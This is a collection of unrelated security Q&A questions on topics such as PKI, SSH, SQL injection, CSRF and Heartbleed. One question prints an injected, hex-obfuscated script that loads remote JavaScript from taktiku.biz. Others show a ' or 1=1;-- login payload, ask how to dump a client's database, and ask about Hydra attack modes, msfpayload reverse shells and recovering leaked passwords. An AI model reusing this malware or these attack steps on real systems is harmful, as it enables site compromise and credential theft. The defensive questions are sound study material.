EDIT: To be more clear on what I am after. We are developing a decentralized content network (as a proof of concept). Authoritive Content Providers (those who are authoritive over the content they serve) will be allowed to register their "domain name" via a master registry. This master registry will maintain a master keypair that is used. The registry will issue the content provider a keypair that can be used to digitally sign their content and any information transmitted so that the client can verify that the person transmitting the data is authoritive over the domain name. The issue we are having is how to communicate to the client when we issue a new key pair to a new authoritive host? We thought that if we could sign each keypair with the master registries keypair, then we could hardcode the public key into the client and use it to verify each keypair.
|
While reviewing code for a vb.net application I have come across the following implementation of stored procedures using ExecuteDataSet
Result = DBInstance.ExecuteDataSet(Name, paramArrayList.ToArray)
Here, 'Name' is the name of the stored procedure and the input parameters from the client are passed in an array. 'DBInstance' is obtained from DatabaseProviderFactory which comes from Microsoft.Practices.EnterpriseLibrary.Data. The stored procedure uses the parameters in the query as shown below:
CREATE procedure sp_name
(
@para1 VARCHAR(25),
@para2 VARCHAR(25)
)
as
SELECT x,y FROM mytable
WHERE p = @para1 AND q = @para2
go
The parameters are passed to the function ExecuteDataSet() unvalidated.
Does the method ExecuteDataSet perform any kind of validation on the data passed to it in order to prevent SQLi? I am unable to find any examples on the Internet which use the same method to implement Stored Procedures.
I have had a look at the secure implementation of stored procedures in VB which clearly uses parameterized query. My question is about the method ExecuteDataSet being safe/unsafe for passing parameters to stored procedures.
|
After installing a CAcert personal certificate, every time I land on the BBC weather site it asks me to identify myself with a certificate.
Why would any non-malicious web site do that unless I've requested to sign in first? The weather report is visible, so it's not like authentication is needed for any content.
The certificate question is asked every time, and a single mistype would be enough to give them my certificate. Since I don't want that to happen, how do I tell browsers to never identify on this site with a certificate? "Remember this decision" on Firefox does not account for pressing Cancel.
I’m using HTTPS Everywhere.
|
Chrome just warned me about malicious content when visiting a site - so I visited it.
The source code is like the following:
<html>
<head>
<link href="images/DPT2.ico" title="Dynamic PowerTrainer Manager" rel="shortcut icon">
<title>Dynamic PowerTrainer Manager</title>
</head>
<frameset rows="94,*" border="0" frameborder="0" framespacing="0"> <!-- Frameset-Definition -->
<frame src="header.jsp" name="header" frameborder="0" marginwidth="0" marginheight="0" noresize>
<frame src="login.jsp" name="main" frameborder="0" marginwidth="0" marginheight="0" noresize>
<noframes>
Your browser doesn't support frames. You can not see this page.
</noframes>
</frameset>
<ad><script type='text/javascript'>document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%61%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%70%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%70%22%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%76%61%72%20%62%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%2C%63%3D%22%20%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2C%64%3D%6E%75%6C%6C%2C%65%3D%30%2C%66%3D%30%3B%69%66%28%63%2E%6C%65%6E%67%74%68%3E%30%29%7B%65%3D%63%2E%69%6E%64%65%78%4F%66%28%22%20%68%6F%70%3D%22%29%3B%69%66%28%65%21%3D%2D%31%29%7B%65%2B%3D%35%3B%66%3D%63%2E%69%6E%64%65%78%4F%66%28%22%3B%22%2C%65%29%3B%69%66%28%66%3D%3D%2D%31%29%66%3D%63%2E%6C%65%6E%67%74%68%3B%64%3D%75%6E%65%73%63%61%70%65%28%63%2E%73%75%62%73%74%72%69%6E%67%28%65%2C%66%29%29%7D%7D%20%69%66%28%64%3D%3D%22%68%6F%70%22%26%26%62%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%26%26%61%2E%69%6E%64%65%78%4F%66%28%22%68%69%70%22%29%3D%3D%2D%31%29%7B%76%61%72%20%67%3D%5B%22%6B%65%67%22%2C%22%6B%65%69%22%2C%22%6B%65%6E%22%2C%22%6B%65%70%22%2C%22%6B%65%76%22%2C%22%6B%65%78%22%2C%22%6B%65%79%22%2C%22%6B%68%69%22%2C%22%6B%69%64%22%2C%22%6B%69%66%22%5D%2C%68%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%67%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%38%45%37%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%69%70%3D%22%2B%65%73%63%61%70%65%28%22%68%69%70%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%67%5B%68%5D%2B%27%2E%5C%78%37%34%5C%78%36%31%5C%78%36%62%5C%78%37%34%5C%78%36%39%5C%78%36%62%5C%78%37%35%5C%78%32%65%5C%78%36%32%5C%78%36%39%5C%78%37%61%2F%68%65%6C%70%2F%64%61%74%61%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));</script></ad>
<b1><!--8m3vp_oyeNrTzy8o0S/Jz01OLNEvT01KLCgo1k8pKMlNzEtMTy3Sz8lPz8yLTytKzE3VyyousLW1NTQ0NTY0NjQzMgcAmuYUjw==--></b1></body></html>
I'm aware of the obfuscated string - it's some javascript stuff, playing with cookies and loading an external script from taktiku.biz
But what's the meaning of the String 8m3vp_oyeNrTzy8o0S/Jz01OLNEvT01KLCgo1k8pKMlNzEtMTy3Sz8lPz8yLTytKzE3VyyousLW1NTQ0NTY0NjQzMgcAmuYUjw==?
Or: are there common reasons to place such a string on injected pages?
|
I am learning about SSH and how to use it to secure file transfers and commands between a windows machine and a Linux server. Everything that I have read so far indicates that I need to use an SFTP client (like WinSCP) to connect to my server and transfer files. Gettin gin a little deeper, the docs for WinSCP never tell me to set up a public or private key pair on my client and server. I thought that the public and private keys were a fundamental element of how SSH worked. How is SFTP (which I have read is based on SSH) able to function without a public and private key pair (or is it defaulting to an insecure mode like FTP in the situation?)
Originally, I thought that I needed to create these pairs for each individual that wanted to connect to the server and manually copy the public key file to the clients machine.
EDIT =============================
I did not understand that there are two sets of public/private keys in use, one that is created by the server and one that could possibly be created by the client. Initially, I though that they were the same public/private key pair.
|
As I understand it, when two systems create a secure SSH tunnel, the first step involves communicating the 'guidelines' for the encryption of that tunnel. If an third system is able to listen in on this initial conversation, wouldn't it be able to decode all of the data that is sent through the tunnel? How is the tunnel secured if the initial conversation is conducted across a public connection?
|
The Kohnfelder certificate standard is very similar to that of X.509 certificate standard. Comparing the two standards, does one have an advantage edge over the other? or what are the pros and cons of both standards?
|
As we move toward a future where fingerprints might possibly replace passwords, I see one issue. While passwords can be stolen, they can be changed by the owner after being notified of the security breach. However, fingerprints can be stolen, but they can't be changed. In this future, what happens if someone's biometric data is stolen? You can't very easily change your fingerprints.
|
It is a well known fact that OS-related viruses are commonly written in low level languages like C or C++ which require direct access to the kernel of the CPU , I am just wondering if its possible that viruses can be written in high level languages like Python or Java which does not have as much access to the CPU kernel ???
|
I got a DB (152.4 million users) (My own fake one).I did not hash the passwords, but encrypted them. So anyone that uses the same password, lets say, "123456", will have the same encryption/cipherkey. So what I need to do is extract the 100 most common cipherkeys.
Keys: http://shrib.com/uPB5ALVn
I did gap string db.txt
How do I turn all my extracted cipherkeys and replace the cipherkeys for plaintext?
I also need to extract the emails associated with the cipherkeys.
|
So I want to write my own authentication scheme for a web-app server, as follows. I assume this is a Bad Idea from either security or cost-effectiveness reasons and I know the conventional wisdom is using an existing library, but I'd be happy for pointers as to where exactly I would be going wrong, since this scheme seems both secure and easy to build.
In Pseudo-API, I would respond to the following:
POST /login,signup (+username, passwd) -> create and return token for this user. (Save user<->token relationship on server.)
POST /logout (+token) -> destroy token for this user on server. (Destroy user<->nothing relationship on server.)
POST /any-action (+token) -> perform action if token is correct. (user and token match user<->token on server.)
Is the above an insecure paradigm?
|
I want to generate my own CAPTCHA. I am using PIL library of Python to generate an image. I would like to know how should the image be (i.e. numbers with weird font style or some mathematical calculation shown in an image (for example: 5x8))
How can I validate it with the user input? - Can I store it in a variable to check it later with the user input, will it be safe or is this vulnerable to attack?
|
Put simply, CSRF tokens can be sniffed out of responses from the server unless the request/response are transmitted using encryption. Is this enough of a concern to worry about, or is it reasonable to allow the CSRF token to be transmitted via plaintext?
In our case, the framework we're using provides for exactly one CSRF token per session and our application has both HTTP and HTTPS forms to protect. My concern is that an attacker could sniff the CSRF token while the victim is visiting an HTTP page with a form on it and then entice the victim to visit a malicious HTTPS page which posts to a more sensitive HTTPS request handler on our application with the correct CSRF token (put there by the attacker who sniffed it earlier).
|
I work for a small company who has troubles with third parties selling our products on Amazon. Sometimes those third parties have websites and when I use an IP address finder online it gives me coordinates to what I think is a proxy server because there has been a few times where I enter different IP addresses but I get the same coordinates. Is there a way that I can go through the proxy server and find the original location for that website. I am a huge novice when it comes to this so I do not even know if this is possible but I would love any help that I can get. Thank you
|
I wanted to check if the following means of generating a hash for storage of a password was secure.
I have an username and password combo. In order to generate a secure hash, I am doing the following:
gen_password = SHA256(password + "my_site_name")
gen_salt = SHA256(username + password + "my_site_name")
hash = PBKDF2(gen_password, gen_salt, rounds)
Anyone see any weaknesses or problems with this approach? Generating and storing a salt is not an option, so I am hoping this method would work.
If anyone can offer improvements on this, that would be great!
Thanks.
|
I am trying to figure out if some Android applications with login functions are vulnerable to man in the middle attacks or not.
I have set up a MITM proxy (as an attacker) on my lubuntu machine and set my cell phone to connect to the proxy before connecting to each app's server. Besides, I use Wireshark to see the traffic.
If an app is vulnerable, the app should easily connect to its server after the login was successful and show the data in that account. I should also be able to see in Wireshark that the cell phone, the proxy and the app's server were connected to each other and finished the SSL handshake process successfully.
Now my question is why (for only a few vulnerable apps) I can easily connect to the app's server while the app itself does not show any warning when connecting to the proxy, but there is no "finished" packet or "cipher key changed" packet in Wireshark? In other words, it seems that this app is connected to its server through the proxy so it is vulnerable, but Wireshark does not show any connection with the server, or cipher key changed, or finished frame; and as a result, based on observation in Wireshark, seems that the app, proxy and server do not finish the SSL handshake process completely, and I am still doubtful if the app is really vulnerable (note that the proxy's certificate is not configured on the phone, otherwise, the proxy was considered as a trusted party). Any answers or ideas would be helpful and appreciated!
|
Background
The company I work for have a system with some data.
This system's hosted in our private data centre.
This system provides some ReST web services.
We're looking to create a website, hosted in Windows Azure, which will call the above system's ReST services.
Users of this website will be authenticated via ADFS (long term we may look to include other options for users outside of our company to be authenticated).
We need to secure the communication between the Azure website and the locally (data centre) hosted system.
Initially we'd like to keep this simple; e.g. allow a trusted IP from Azure to talk to our ReST service.
Longer term we'd been keen to implement something more flexible, such as OAuth to allow other external applications to be plugged in with minimal effort.
Question
Is securing services by IP sensible, or could this be a security risk (especially as we're hosting on Azure, where potentially others may host applications)?
If anyone's done something similar before / can point me in the direction of useful articles, that would also be appreciated.
|
What is the best way to accomplish this and prevent attacks like SSL Strip?
|
I have moved this question from stackoverflow to this place. I know it may be a question about 'opinion' but I am not looking for a private opinion but a source of the final decision to keep it this way.
I have been taught that nobody tries to open a door when one does not know that the door even exist. The best defense would be then to hide a door. It could be easily seen in the old war movies - nobody would keep a hideout in the light. It was always covered with something suggesting that 'there is nothing interesting there.'
I would assume that in cryptography that would work the same way.
Why would then hash generated by MD5 started from $1$, and telling what this is a hash in the first place, and then what kind of hash it is (MD5)?
Now, I see that sha512 does exactly the same thing. Isn't it a weakness by itself? Is there any particular reason why we would have it done this way?
The main question the is: Should I scramble my hash before storing it to hide this from a potential enemy? If there is no need for that then why?
To avoid answers that suggest that obscurity is not security, I would propose this picture. It is WWII. You have just received a hint that SS is coming to your house suspecting that you are hiding partisans, and this is true. They have no time to escape. You have two choices where you could hide them - in the best in the world safe, or in the hidden hole underneath the floor, hidden so well that even your parents would did not suspect that it is there. What is your proposal? Would you convince yourself that the best safe is the best choice?
If I know there is a treasure hidden on an island then I would like to know which island it is or I will not start searching.
I am still not convinced. Chris Jester-Young so far gave me something to think about when suggesting that there can be more algorithms generating the same hash from different data.
|
I am running nmap to probe services that use SSL.¹
In order to detect vulnerability in non-standard ports, I am using the -sV option to perform service discovery. But it is very slow since it runs several probes per open port. How to make it more efficient and quicker by running only SSL probes?
¹ Specifically, I am evaluating Heartbleed vulnerability at our site by running the nmap ssl-heartbleed script.
|
How do you know which attack method to use when using software like thc hydra, brutus, etc?
e.g. http-get, https-get, http-form-get, http-form-post, etc?
For example, for sites like Yahoo, Gmail, and Hotmail it's POP3.
In this question, for example, the poster says he:
pinged the website and obtained the IP address of 209.23.201.55
identified the form type as a https-form-post
My question is how you do the second step, so you know which attack method to use?
|
When I first got to my university I had to provide my MAC address to get access to the internet. What I want to know is what information can they get from having my MAC address linked to my name. I use Private Internet Access as my VPN and have Zenmate for Chrome. When I'm plugged in to their network can they see what I search just by my MAC address?
|
If you're chatting with them via Skype, how can you get their IP address?
Do you need some kind of program or is there a simple, obvious way?
Is it illegal?
|
In my security class with David Wagner, we talked about some of the reasons why DNSSEC is not widely adopted right now. One of the reasons was that for backward compatibility reasons, clients need to accept both signed DNS records and unsigned ones. This means that websites have little incentive to start supporting DNSSEC, as a MITM can spoof a DNS record simply by not including a signature.
It seems that an easy solution to this would be to provide signed statements that a website does not currently support DNSSEC, similar to the way signed negative responses work for subdomains.
Is this a part of DNSSEC, and if not, why not? What other solutions are there to this problem / is it a problem?
|
Function RemoveSuspeitos(ByVal strTXT)
Dim txtAux As String
txtAux = strTXT
txtAux = Replace(txtAux, chr(34), "")
txtAux = Replace(txtAux, "'", "")
RemoveSuspeitos = txtAux
End Function
DB: MSSQL
1) Forget syntax errors in the above code, I am not expert in VB.
2) Lets say I always use single or double quotes, even for int values (e.g.: '" + $int_id + "').
Is this sanitization unsafe?
If yes, why? Please show me a real exploit scenario.
|
I've recovered a .SQB SQL database backup file from a backup server and do not have the password.
As I do not have the password available to me, I'm looking to determine what type of encryption is being used and also if it is possible to use any existing programs to crack the password.
Based on this link I believe the database to be encrypted using AES256 or AES128 but given that i'm not even sure where the file originated from, I'm not sure this is the case.
I've examined the top and bottom of the file for any kind of header/footer information but nothing is obvious. The end of the file is all 'FF' hex bytes and the header appears to be entirely random, a chunk of null bytes, then entirely random again.
If there is any way to identify the type of encryption used in this file or any software which supports attacking this type of file any help would be greatly appreciated.
|
I'm going to build a demo affiliate network, which needs to be secured. Let say I have a web application called Affiliate Network Manager that manages all affiliates associated with my online book store.
Affiliate Network Manager provides an API that enables a publisher's web site (an affiliate site) to get the logo of the book store's web site, so it can display the book store logo on the publisher's web site.
Let's assume the following scenario: There is a publisher web site A, with Unique ID 123. An end user visits the web site, clicks on the logo, is redirected to the online book store and buys a book.
The system gets the unique ID from the request and knows that this request comes from publisher A. Then, it remembers that the client visited the book store from publisher A. So, publisher A receives a commission based on the amount of the transaction.
This works, but there is a security issue: Assume we have another publisher B, with Unique ID 456. Then an attacker from publisher B can capture a request from publisher A and change the unique ID to 456. So, publisher B will receive the commission of publisher A.
How can I solve this security issue and make sure that the attacker can not change the unique ID when the request is transmitted? Or in other words: How can I do authentication in this case?
|
I have an X509Certificate (say Certificate-A) for signing purpose. While validating this certificate, I have to check its path with Intermediate & Root certificate which I have implemented fully.
There is a custom extension in this Certificate-A which has a another signature as its value. While validating this Certificate-A, I am taking the signature from it's custom extension & do verify it with another Certificate-B that produced it. This all is being done well.
Now is there a way to add some Policy to Certificate-A by which a third party validator comes to know by reading this Policy (ONLY) that it has to take signature from Certificate-A & verify with Certificate-B?
Note- Certificate-A & B would be already available to third party validator (Certificate List in a PKCS#7 Signature).
|
I wouldn't bother asking this question if it was easy to find.
In the past I've used a risk-analysis-checklist which was split up in serveral factors.
For example, there are Human factors, Hardware is one, Organization is one of them and Environment too.
I've lost this list and I wonder if anyone here could share this checklist with me. I've found a partial list in Dutch which helped me out for the factors except Organization and Environment.
If you have a question about my question(?), please add a comment and I will try to make it more clear.
|
According to news reports, arrests have already been made in relation to the Heartbleed bug. It sounds like this person managed to gain access to the website's database by capturing the credentials the app used to access the database. This person then apparently used those credentials to access the database.
My question is, what part is illegal here? He was charged with "one count of unauthorized use of a computer and one count of mischief in relation to data." So, is it illegal to send a heartbeat request to a server knowing that the request will result in data leakage? If that data contained nothing but random bits, would it still be illegal or must it contain sensitive data to become illegal? Say passwords or other such info was present, does it then become illegal to have done it? Or does it become illegal to then take those credentials and log into a public-facing admin interface to the database?
What I'm confused about is where is the line between illegal hacking and just using information which is publicly visible? If a website leaves its DB credentials on its homepage with a link to a phpMyAdmin frontend to that DB, is it illegal to log in and look around?
At risk of asking multiple and broad questions which will lead to this question being closed, are there any rules of thumb to abide by when curious snooping around to see how something works crosses the line to become illegal?
|
Some dependencies were missing when I installed THC Hydra. I found this site which directs me to install the missing package:
sudo apt-get install libsvn-dev libapr1-dev libaprutil1-dev
But when I try this, I receive the following error message:
-bash: -sudo: command not found
I tried searching the web for how to install the sudo command, but I cant find anything. Any ideas?
|
I see PCI compliance related only to password security, as far as storage and transmission goes, for user names and email accounts. How does this relate to passwords for programs that run on a PCI compliant machine? For instance: Someone transmitting plain text passwords from a configuration file in an email.
Is this considered a violation of PCI compliance?
|
I was going through some CLIENT side defenses against reflected XSS e.g. XSS auditor(chrome), IE8 XSS Filters, Noscript. They use regular expression and other sophisticated techniques.
My question is- why don't we store what ever is going to server as parameters and if these parameters are reflected in HTML response then discard it or encoded it. Simple idea. I feel there may be false positives but not very convincing ones. Any input?
|
On Stack Exchange's Add Login Credential page, one can add logins with Google, Facebook, Yahoo, etc. How many logins should I have to provide best combination of:
The least chance of a hacker gaining access to my Stack Exchange account.
The best recovery in case they do.
One? As many as possible? My possibly incorrect assumption is that I should have two. That way, there are fewer sites that can be hacked into to gain access to my Stack Exchange account; but if one of the two does get hacked, and, for example, its password is changed, I'll still be able to regain control of my Stack Exchange account with the other site's non-compromised account.
|
I am building a license generator for nodejs and I am currently testing on Heroku.
On my local machine running OpenSSL 1.0.1g, I'm able to test my key pairs (sign and verify) like this:
# data.txt's content (the content of the string literal): "Tsenkov"
openssl dgst -sha1 -sign private.pem data.txt > license.txt
openssl dgst -verify public.pem -signature license.txt data.txt
But on Heroku (OpenSSL 0.9.8) I get the following error:
Error Signing Data
27:error:0606B06E:digital envelope routines:EVP_SignFinal:wrong public key type:p_sign.c:99:
Here's how my pair is generated:
openssl ecparam -genkey -name secp521r1 -noout -out private.pem
openssl ec -in private.pem -pubout -outform PEM -out public.pem
I remember having the same problem on OS X 10.9.2 (local machine), but before trying anything else, I updated OpenSSL through Homebrew and it miraculously started working.
I guess there's an older way of signing data (syntax, etc.) which I'm not aware of.
Can someone help? Thanks.
|
Is there any kind of protocol, scheme, or theoretical paper out there that implements or examines the problem of establishing trust between two parties (communicating, listening) where the communicating party initiates contact and does not have a key/secret/password known by the listening listening party; but the listener needs to somehow verify that the communicating party is trustworthy in order to return some sensitive information without interrogating a 3rd party. Personally, this sounds near impossible, but I have tasked with investigating the feasibility. The problem we are trying to solve is provisioning devices into an environment where the devices need zero initial configuration other than being pointed at the proper remote endpoint.
Consider a situation where we have a Device (D) and a Server (S):
D sends initial Message M[0] to S containing D's alleged identity (name)
S verifies D identity using (???) and returns Key K to D
D uses K for all subsequent messages M[1..N-1].
The majority of this problem is in <2> where (???) occurs. Device may be as small as an 8-bit micro with limited storage options.
|
I own a Javascript application (Single Page Application) hitting some apis from my own RESTful backend.
What I expect for my authentication/(authorization) mechanism is three things:
Preventing all known malicious ways of stealing or acting on user's data: CSRF, XSS etc..
Allowing only my Javascript official client to reach secured API of my backend.
Encrypting all the messages exchanged.
I'm not expert in security but I read some good articles about a guideline to follow:
Avoid an authentication way based ONLY on cookie mechanism, as this article well explains.
HTTPS is not enough, yet it is really really advise to ensure at least messages encryption.
Consider Javascript client as totally unsecured as its code is visible to anyone.
Of course, I agree with those principles but...I'm confused about the number of similar ways to achieve a good authentication mechanism:
What is the difference between the article I put in link just above and the OAuth 2.0 Resource Owner Password Credentials Flow?
Indeed, both use those steps: exchanging username and password for an access token that is itself sent along the user's navigation using the HTTP Authorization Header.
What additional security aspect does this OAuth 2.0 workflow bring compared to the cookie-based token solution?
Does the solution of cookie-based token as presented in the article is really enough to secure my infrastructure? As the author claims..
I came across this another great solution, that I judge also similar to others, excepted that it doesn't really need https since based on shared secret key: HMAC mechanism.
What would a security expert advise me?
I don't exchange really sensitive data like money accounts etc.. but enough data to annoy users if something unexpected happens..
I would be happy to be more clear (in comments), but I hope I am.
I came across so many forums, articles, videos, etc... but I'm still confused about those different ways of achieving the thing.
Thanks
|
So I'm just poking around the TCP/IP protocol using a Ruby library called PacketFu, and it seems to me that in each packet, it is possible to set all of the following
Source IP
Destination IP
Source MAC Address
Destination MAC Address
and a whole bunch of other things.
Here is my question:
What prevents me from sniffing a network, getting someone else's ip/MAC address, and then sending packets out pretending to be them, and running around the internet blaming all of my wrongdoings (assuming I'm acting maliciously) on the owner of the credentials I'm using?
|
I came across a project called jCryption 3.0, which encrypts data between the client and server, without using SSL. If a website's JavaScript had used jCryption 3.0 to encrypt login form fields before sending them (over SSL) back to the server, would this technique have mitigated a potential Heartbleed attack?
This question assumes the following:
SSL is used to verify the identity of the site, and provide a second layer of encryption
jCryption 3.0 is used to encrypt any sensitive data sent between the client and server, even over SSL
The server that the browser posts to is a load balancer (running a vulnerable version of openssl), which decrypts the incoming traffic and sends it on to a web server for further processing
From my understanding, someone performing a Heartbleed attack on the vulnerable load balancer would potentially only be able to uncover encrypted username & password data, or the server's private key from memory.
|
So I was just thinking about how ARP poisoning can be used to intercept a clients request, forge an SSL cert, and send it back, with the caveat of not meeting certificate validation, but what if I were to intercept a client communication, send back a 301 to the http version of the site if the request is SSL, and then act on behalf of the client when communicating with the legitimate server over HTTPS.
if the client believes that I am the router, how would the client ever know that it has been forced to HTTP?
Obviously the browser bar would be white, not green, but that is almost a moot point regardless.
|
When preparing to encrypt an entire partition, is it better to rely on "native" whole-disk encryption (eg following this tutorial), or an external tool like TrueCrypt?
The wikipedia article comparing disk encryption tools doesn't seem overly helpful to me in working towards a decision.
|
I just read about Indosat trying to take over the Internet by mistake. I read on a Polish infosec-related website that most of their announced routes failed to propagate, but some of them reached the whole internet. This made me wonder - what security mechanisms protect the BGP protocol and why did they fail for these few particular routes, hurting Akamai and others?
|
It looks like msfpayload now generates a powershell-based payload when you pass it windows/reverse_tcp_shell.
Is there a way to generate a regular cmd.exe reverse shell instead?
Thanks!
|
In Bruce Schneier's book Applied Cryptography (1994?) he writes
The NSA uses its power to restrict the public availability of
cryptography, so as to prevent national enemies from employing
encryption methods too strong for the NSA to break.
My first question: Is this still true today?
My second question: If this is still true today, what are the ways that the NSA restricts the public's access to secure cryptography?
(I can only think of the export restrictions as one of the ways in question 2.)
|
Is there to be a review in the code of OpenSSL any time in the near future? It seems OpenBSD is doing a controversial one, in that the review is also "Ripping out some windows-specific cruft". But is any actual security firm doing a code review, or are there plans by the OpenSSL project to hire one?
|
I know that some of PHP's random functions are insecure due to them not being completely random and are considered a bad practice. My question is how an attacker go about finding that the developer used an insecure function to create a token, such as a forgotten password token or CSRF token?
|
Take for example a game. Typically, when you buy or download a game that can be played offline, all of the data required to run the game is shipped with the executable. In order to protect these resources, developers use various protection methods such as passwords, encryption, compression, file archives, anti-debuggers, and so on. Of course, most (if not all) of these can be reverse engineered if someone was to spend enough time and effort on it.
I've been looking at different online games and have found that browser-based games tend to be much more secure when it comes to unauthorized data access. This is because (when feasible) a resource is only sent to the client when it is requested, and an ideal URI typically uses a random string that is both unfeasible to guess and impossible to reverse engineer.
For example, suppose I have an image called "duck.png". I then rename it to a random 64-character string, perhaps randomly pounding away at the keyboard. Unless you are incredibly lucky, you won't be able to guess that. You could add additional security measures, such as making it so that if an IP attempts to request an invalid resource more than, say, 100 times, the server automatically suspends them for some period of time.
Assuming security is properly set up on a server (proper access control, secured API's that properly checks requests before processing them, consistent use of the random strings), can I be confident that the only way an outsider would be able to access this resource is through legitimate means, such as playing the game?
Or are there techniques that adversaries can use to gain access (easily) to the resources that I'm trying to protect? I'm assuming that gaining unauthorized access to a server is not an easy task because the server is secured.
|
Nodes don't know each other's IP address right?
So how do they manage to address one another when it comes to sending data?
|
In many places a common practice is to connect in a backup drive at the end of the day and let the computer do an automatic backup in case of an emergency. I have been doing that for the past 2 years until the day I needed to use one came, my computer was infected with malware but as I booted up in linux and inserted my drive I found out that the entire drive was also infected because the previous day I had connected the drive to get a backup while I didn't know a virus was in the system.
What are the common practices to take backups regularly without fear that the previous ones might get destroyed by something in the system?
|
If someone uses a password manager and tries to organize the credentials well, doesn't that make attacks easier?
Let's assume an attacker has the encrypted credentials available for offline attacks,
and the attacker knows which software was used to save the data, and that he also knows what the credentials are used for (websites like Google, Facebook, Amazon, et. al.).
Does this knowledge make the attack easier? Can it be prevented, or at least made significantly harder? If so, how do password suites try to prevent this?
A simplified example: I have an Amazon account, and I store my credentials in a password manager. They are well organized and named, i.e. "Amazon", which is on the top of the list because it's sorted alphabetically. An attacker now steals my encrypted credential store, and begins a brute-force attack.
If the first few bytes (e.g. header + 30) don't turn out to include the string "Amazon" appended with whatever the password suite uses as a delimiter, the attacker could stop trying to decrypt my password with his current guess. This potentially reduces the time needed to crack the password, if only linearly.
I don't know much about encryption. Any advise regarding my choice of words is appreciated. Even spelling and grammar.
|
I'm testing a client's web site vulnerability to SQL injection, which appears to be the case. The web site is hosted in IIS on a Windows server and is using Microsoft's .NET framework with SQL. I'm able to enter SQL statements in the sign in form.
But when I enter ' or 1=1;-- in username, it replies "Your Account Has Been Blocked". Obviously, the field isn't validated which is a serious security issue.
How can I obtain the database's content using the SQL injection technique? I've read this penetration test tutorial, but no luck so far.
When I enter ' in the username field, this is what I get:
|
This question seems to be related to https://stackoverflow.com/questions/15913200/facebook-js-sdk-not-executed-in-my-chrome-extension , but I am not developing a chrome extension. I am developing a normal web application.
I am trying to integrate Facebook login on my website, which has a tight CSP policy. I am following the recommendations of https://developer.chrome.com/extensions/contentSecurityPolicy , where it is mentioned that 'unsafe-eval' should not be used. However, if I put the following CSP-policy:
<add name="Content-Security-Policy" value="default-src 'self'; connect-src 'self'; script-src 'self' https://connect.facebook.net; img-src 'self' https://www.facebook.com; media-src 'self'; object-src 'self'; style-src 'self' 'unsafe-inline'; frame-src 'self' https://s-static.ak.facebook.com https://www.facebook.com https://www.youtube.com; "/>
then the facebook login does not appear, as the CSP policy restricts unsafe eval code. If I change it to the following:
<add name="Content-Security-Policy" value="default-src 'self'; connect-src 'self'; script-src 'self' 'unsafe-eval' https://connect.facebook.net; img-src 'self' https://www.facebook.com; media-src 'self'; object-src 'self'; style-src 'self' 'unsafe-inline'; frame-src 'self' https://s-static.ak.facebook.com https://www.facebook.com https://www.youtube.com; "/>
then it works. Notice the extra 'unsafe-eval' in the script-src part of the CSP. Anyway, I don't want to use the 'unsafe-eval' condition, as this would greatly reduce the security of my website.
Is there a way that I can use the Facebook login (SDK), without having to use 'unsafe-eval' in my CSP policy?
|
For various reasons I use both Keepass 2 and Lastpass. They have 90% the same password database. Is it secure to be using and maintaining both of them? Is it secure if they both use the same password (or a very similar password)?
|
PGP has been around for almost 20 years, but email encryption is not used by most 'regular people'. At the moment, with Snowden's NSA revelations (which should not be a huge surprise to anyone), the Heartbleed bug, etc. many people are becoming more interested in encryption and privacy, but email remains one of the ways in which people send confidential information, constantly, with very minimal security. Does the current state of the art (from both a technical and social level), allow it to go mainstream?
|
After reading this question about if it's safer to download and compile the source for an open source project or download and run the installer, I thought of another possible vulnerability: is it conceivable a compiler could be designed to leave a back door (or other malware) inside a file it outputs? In other words could the compiler used to compile the source code be compromised? The only way such a thing could be caught would be to dissasemble a compiled executable and compare the code with the original. This would be very difficult.
Also you would need a preexisting compiler to compile an open source compiler. Is it even theoretically possible to have a system that is all open source software and the computer owner (or a group of trusted people) has reviewed the code for the programs used?
|
Most webmail services like gmail, facebook, yahoo,.. allow anonymous to create a mail address.
If there is a security breach, user may lost important information on that address. They may add phone number as a security layer, but even phone number can be lost and not guarantee security (in many countries, anonymous phone number is allowed, so who own that number is maybe a legal issue) and important address may have important info relating to business.
Is there any service allow for claiming an address with real ID?
|
This is extremely strange but I have already tried this twice and am completely sure it is openSSL and not me doing the bug. I am encrypting the data 'Hygiene' with the password '*' (sorry can't tell you this) and get the ciphertext '3/mEwtZdIuIV5wwsQAcnAw==' then I changed the last charecter to '-' and when I decrypted it still decrypted normally!. I then tried changing it to different things such as '+' but it didn't work, Is this supposed to be so? Or have I just found another bug in openSSL?
|
I have a website and I want it to be accessible only by authorized clients/browsers (ex. with a certficate).
The idea is that the users can only access the webpage in their office's computers (situated in different geographical areas, and they're different companies, so I cannot check IP or install something manually).
I was thinking in some installable private key certificate or something like that.
What choices do I have?
EDIT:
I'm using PHP
|
I'm curious is it possible to hide the ip address in a peer to peer connection. Mainly considering you have 2 computer connected remotly in a browser session. I would like to know if it's possible to hide the ip.
Lets say A chats with B in a browser session chat build with Java script. But i want that A not to be able to inspect the page and see B's ip, or donno network tool from chrome and vice versa. The idea is the user to be able to get in contact only if they agree both to.
|
